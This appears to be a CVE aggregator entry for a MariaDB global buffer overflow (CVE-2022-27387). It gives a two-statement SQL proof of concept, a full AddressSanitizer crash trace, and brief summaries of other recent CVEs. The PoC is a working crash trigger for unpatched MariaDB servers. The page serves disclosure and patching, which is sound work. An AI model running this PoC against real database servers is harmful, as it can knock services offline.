Headline
CVE-2022-27387: [MDEV-26422] ASAN: global-buffer-overflow in decimal_bin_size on SELECT
MariaDB Server v10.7 and below was discovered to contain a global buffer overflow in the component decimal_bin_size, which is exploited via specially crafted SQL statements.
PoC:
CREATE TABLE v0 AS SELECT NULL AS v1 FROM DUAL ;
SELECT ‘x’ FROM v0 GROUP BY v1 , v1 ORDER BY AVG ( from_unixtime ( ‘’ ) ) ;
ASAN report:
ersion: ‘10.7.0-MariaDB’ socket: ‘/tmp/0.socket’ port: 10000 Source distribution
=================================================================
==2869677==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55fa8a50bf90 at pc 0x55fa89dcf30d bp 0x7fb3016d0290 sp 0x7fb3016d0280
READ of size 4 at 0x55fa8a50bf90 thread T13
#0 0x55fa89dcf30c in decimal\_bin\_size /experiment/mariadb-server/strings/decimal.c:1551
#1 0x55fa88cd14d2 in my\_decimal\_get\_binary\_size(unsigned short, unsigned short) /experiment/mariadb-server/sql/my\_decimal.h:346
#2 0x55fa88cd14d2 in Type\_handler\_decimal\_result::sort\_length(THD\*, Type\_std\_attributes const\*, SORT\_FIELD\_ATTR\*) const /experiment/mariadb-server/sql/filesort.cc:2182
#3 0x55fa88cd9bbd in sortlength /experiment/mariadb-server/sql/filesort.cc:2258
#4 0x55fa88cd9bbd in filesort(THD\*, TABLE\*, Filesort\*, Filesort\_tracker\*, JOIN\*, unsigned long long) /experiment/mariadb-server/sql/filesort.cc:251
#5 0x55fa886c0698 in create\_sort\_index(THD\*, JOIN\*, st\_join\_table\*, Filesort\*) /experiment/mariadb-server/sql/sql\_select.cc:24386
#6 0x55fa886c10fe in st\_join\_table::sort\_table() /experiment/mariadb-server/sql/sql\_select.cc:22060
#7 0x55fa886c1373 in join\_init\_read\_record(st\_join\_table\*) /experiment/mariadb-server/sql/sql\_select.cc:21999
#8 0x55fa886f3cce in AGGR\_OP::end\_send() /experiment/mariadb-server/sql/sql\_select.cc:29470
#9 0x55fa886f45cf in sub\_select\_postjoin\_aggr(JOIN\*, st\_join\_table\*, bool) /experiment/mariadb-server/sql/sql\_select.cc:20765
#10 0x55fa8871882b in do\_select /experiment/mariadb-server/sql/sql\_select.cc:20604
#11 0x55fa8871882b in JOIN::exec\_inner() /experiment/mariadb-server/sql/sql\_select.cc:4735
#12 0x55fa8871a592 in JOIN::exec() /experiment/mariadb-server/sql/sql\_select.cc:4513
#13 0x55fa88712b5a in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /experiment/mariadb-server/sql/sql\_select.cc:4991
#14 0x55fa88714654 in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /experiment/mariadb-server/sql/sql\_select.cc:545
#15 0x55fa88557d7c in execute\_sqlcom\_select /experiment/mariadb-server/sql/sql\_parse.cc:6256
#16 0x55fa88581420 in mysql\_execute\_command(THD\*, bool) /experiment/mariadb-server/sql/sql\_parse.cc:3946
#17 0x55fa885865a0 in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /experiment/mariadb-server/sql/sql\_parse.cc:8030
#18 0x55fa8858c60b in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /experiment/mariadb-server/sql/sql\_parse.cc:1896
#19 0x55fa8859173c in do\_command(THD\*, bool) /experiment/mariadb-server/sql/sql\_parse.cc:1404
#20 0x55fa8894ce56 in do\_handle\_one\_connection(CONNECT\*, bool) /experiment/mariadb-server/sql/sql\_connect.cc:1418
#21 0x55fa8894d33c in handle\_one\_connection /experiment/mariadb-server/sql/sql\_connect.cc:1312
#22 0x55fa893ddc2b in pfs\_spawn\_thread /experiment/mariadb-server/storage/perfschema/pfs.cc:2201
#23 0x7fb32095f258 in start\_thread (/usr/lib/libpthread.so.0+0x9258)
#24 0x7fb32050a5e2 in \_\_GI\_\_\_clone (/usr/lib/libc.so.6+0xfe5e2)
0x55fa8a50bf90 is located 16 bytes to the left of global variable ‘dig2bytes’ defined in ‘/experiment/mariadb-server/strings/decimal.c:132:18’ (0x55fa8a50bfa0) of size 40
0x55fa8a50bf90 is located 16 bytes to the right of global variable ‘frac_max’ defined in ‘/experiment/mariadb-server/strings/decimal.c:133:19’ (0x55fa8a50bf60) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow /experiment/mariadb-server/strings/decimal.c:1551 in decimal_bin_size
Shadow bytes around the buggy address:
0x0abfd14997a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd14997b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd14997c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd14997d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd14997e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0abfd14997f0: f9 f9[f9]f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
0x0abfd1499800: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0abfd1499810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd1499820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd1499830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0abfd1499840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
Thread T13 created by T0 here:
#0 0x7fb320f92fa7 in \_\_interceptor\_pthread\_create /build/gcc/src/gcc/libsanitizer/asan/asan\_interceptors.cpp:216
#1 0x55fa893ddea9 in my\_thread\_create /experiment/mariadb-server/storage/perfschema/my\_thread.h:48
#2 0x55fa893ddea9 in pfs\_spawn\_thread\_v1 /experiment/mariadb-server/storage/perfschema/pfs.cc:2252
#3 0x55fa8824eb3c in inline\_mysql\_thread\_create /experiment/mariadb-server/include/mysql/psi/mysql\_thread.h:1139
#4 0x55fa8824eb3c in create\_thread\_to\_handle\_connection(CONNECT\*) /experiment/mariadb-server/sql/mysqld.cc:5934
#5 0x55fa8825a7b6 in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /experiment/mariadb-server/sql/mysqld.cc:6055
#6 0x55fa8825b36f in handle\_connections\_sockets() /experiment/mariadb-server/sql/mysqld.cc:6179
#7 0x55fa8825ea52 in mysqld\_main(int, char\*\*) /experiment/mariadb-server/sql/mysqld.cc:5829
#8 0x7fb320433b24 in \_\_libc\_start\_main (/usr/lib/libc.so.6+0x27b24)
==2869677==ABORTING
Related news
MariaDB Server v10.6.3 and below was discovered to contain an use-after-free in the component Item_func_in::cleanup(), which is exploited via specially crafted SQL statements.
An issue in the component Create_tmp_table::finalize of MariaDB Server v10.7 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
An issue in the component Field::set_default of MariaDB Server v10.6 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
An issue in the component Arg_comparator::compare_real_fixed of MariaDB Server v10.6.2 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
An issue in the component Item_subselect::init_expr_cache_tracker of MariaDB Server v10.6 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
An issue in the component Used_tables_and_const_cache::used_tables_and_const_cache_join of MariaDB Server v10.7 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
MariaDB Server v10.6 and below was discovered to contain an use-after-free in the component my_strcasecmp_8bit, which is exploited via specially crafted SQL statements.
Subversion's mod_dav_svn is vulnerable to memory corruption. While looking up path-based authorization rules, mod_dav_svn servers may attempt to use memory which has already been freed. Affected Subversion mod_dav_svn servers 1.10.0 through 1.14.1 (inclusive). Servers that do not use mod_dav_svn are not affected.
MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. A security issue was found where an non-admin user is able to create service accounts for root or other admin users and then is able to assume their access policies via the generated credentials. This in turn allows the user to escalate privilege to that of the root user. This vulnerability has been resolved in pull request #14729 and is included in `RELEASE.2022-04-12T06-55-35Z`. Users unable to upgrade may workaround this issue by explicitly adding a `admin:CreateServiceAccount` deny policy, however, this, in turn, denies the user the ability to create their own service accounts as well.
An arbitrary file upload vulnerability in the file upload module of PayloadCMS v0.15.0 allows attackers to execute arbitrary code via a crafted SVG file.
Grafana is an open-source platform for monitoring and observability. When fine-grained access control is enabled and a client uses Grafana API Key to make requests, the permissions for that API Key are cached for 30 seconds for the given organization. Because of the way the cache ID is constructed, the consequent requests with any API Key evaluate to the same permissions as the previous requests. This can lead to an escalation of privileges, when for example a first request is made with Admin permissions, and the second request with different API Key is made with Viewer permissions, the second request will get the cached permissions from the previous Admin, essentially accessing higher privilege than it should. The vulnerability is only impacting Grafana Enterprise when the fine-grained access control beta feature is enabled and there are more than one API Keys in one organization with different roles assigned. All installations after Grafana Enterprise v8.1.0-beta1 should be upgraded ...
An arbitrary file upload vulnerability in the file upload module of Ghost CMS v4.42.0 allows attackers to execute arbitrary code via a crafted file.
An arbitrary file upload vulnerability in the file upload module of Strapi v4.1.5 allows attackers to execute arbitrary code via a crafted file.
A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.
Nokogiri is an open source XML and HTML library for Ruby. Nokogiri `< v1.13.4` contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to detect encoding in HTML documents. Users are advised to upgrade to Nokogiri `>= 1.13.4`. There are no known workarounds for this issue.
Elide is a Java library that lets you stand up a GraphQL/JSON-API web service with minimal effort. When leveraging the following together: Elide Aggregation Data Store for Analytic Queries, Parameterized Columns (A column that requires a client provided parameter), and a parameterized column of type TEXT. There is the potential for a hacker to provide a carefully crafted query that would bypass server side authorization filters through SQL injection. A recent patch to Elide 6.1.2 allowed the '-' character to be included in parameterized TEXT columns. This character can be interpreted as SQL comments ('--') and allow the attacker to remove the WHERE clause from the generated query and bypass authorization filters. A fix is provided in Elide 6.1.4. The vulnerability only exists for parameterized columns of type TEXT and only for analytic queries (CRUD is not impacted). Workarounds include leveraging a different type of parameterized column (TIME, MONEY, etc) or not leveraging parameteriz...
GoCD is an open source a continuous delivery server. The bundled gocd-ldap-authentication-plugin included with the GoCD Server fails to correctly escape special characters when using the username to construct LDAP queries. While this does not directly allow arbitrary LDAP data exfiltration, it can allow an existing LDAP-authenticated GoCD user with malicious intent to construct and execute malicious queries, allowing them to deduce facts about other users or entries within the LDAP database (e.g alternate fields, usernames, hashed passwords etc) through brute force mechanisms. This only affects users who have a working LDAP authorization configuration enabled on their GoCD server, and only is exploitable by users authenticating using such an LDAP configuration. This issue has been fixed in GoCD 22.1.0, which is bundled with gocd-ldap-authentication-plugin v2.2.0-144.
PrivateBin is minimalist, open source online pastebin clone where the server has zero knowledge of pasted data. In PrivateBin < v1.4.0 a cross-site scripting (XSS) vulnerability was found. The vulnerability is present in all versions from v0.21 of the project, which was at the time still called ZeroBin. The issue is caused by the fact that SVGs can contain JavaScript. This can allow an attacker to execute code, if the user opens a paste with a specifically crafted SVG attachment, and interacts with the preview image and the instance isn't protected by an appropriate content security policy. Users are advised to either upgrade to version 1.4.0 or to ensure the content security policy of their instance is set correctly.
Garden is an automation platform for Kubernetes development and testing. In versions prior to 0.12.39 multiple endpoints did not require authentication. In some operating modes this allows for an attacker to gain access to the application erroneously. The configuration is leaked through the /api endpoint on the local server that is responsible for serving the Garden dashboard. At the moment, this server is accessible to 0.0.0.0 which makes it accessible to anyone on the same network (or anyone on the internet if they are on a public, static IP). This may lead to the ability to compromise credentials, secrets or environment variables. Users are advised to upgrade to version 0.12.39 as soon as possible. Users unable to upgrade should use a firewall blocking access to port 9777 from all untrusted network machines.
JHipster is a development platform to quickly generate, develop, & deploy modern web applications & microservice architectures. SQL Injection vulnerability in entities for applications generated with the option "reactive with Spring WebFlux" enabled and an SQL database using r2dbc. Applications created without "reactive with Spring WebFlux" and applications with NoSQL databases are not affected. Users who have generated a microservice Gateway using the affected version may be impacted as Gateways are reactive by default. Currently, SQL injection is possible in the findAllBy(Pageable pageable, Criteria criteria) method of an entity repository class generated in these applications as the where clause using Criteria for queries are not sanitized and user input is passed on as it is by the criteria. This issue has been patched in v7.8.1. Users unable to upgrade should be careful when combining criterias and conditions as the root of the issue lies in the `EntityManager.java` class when cre...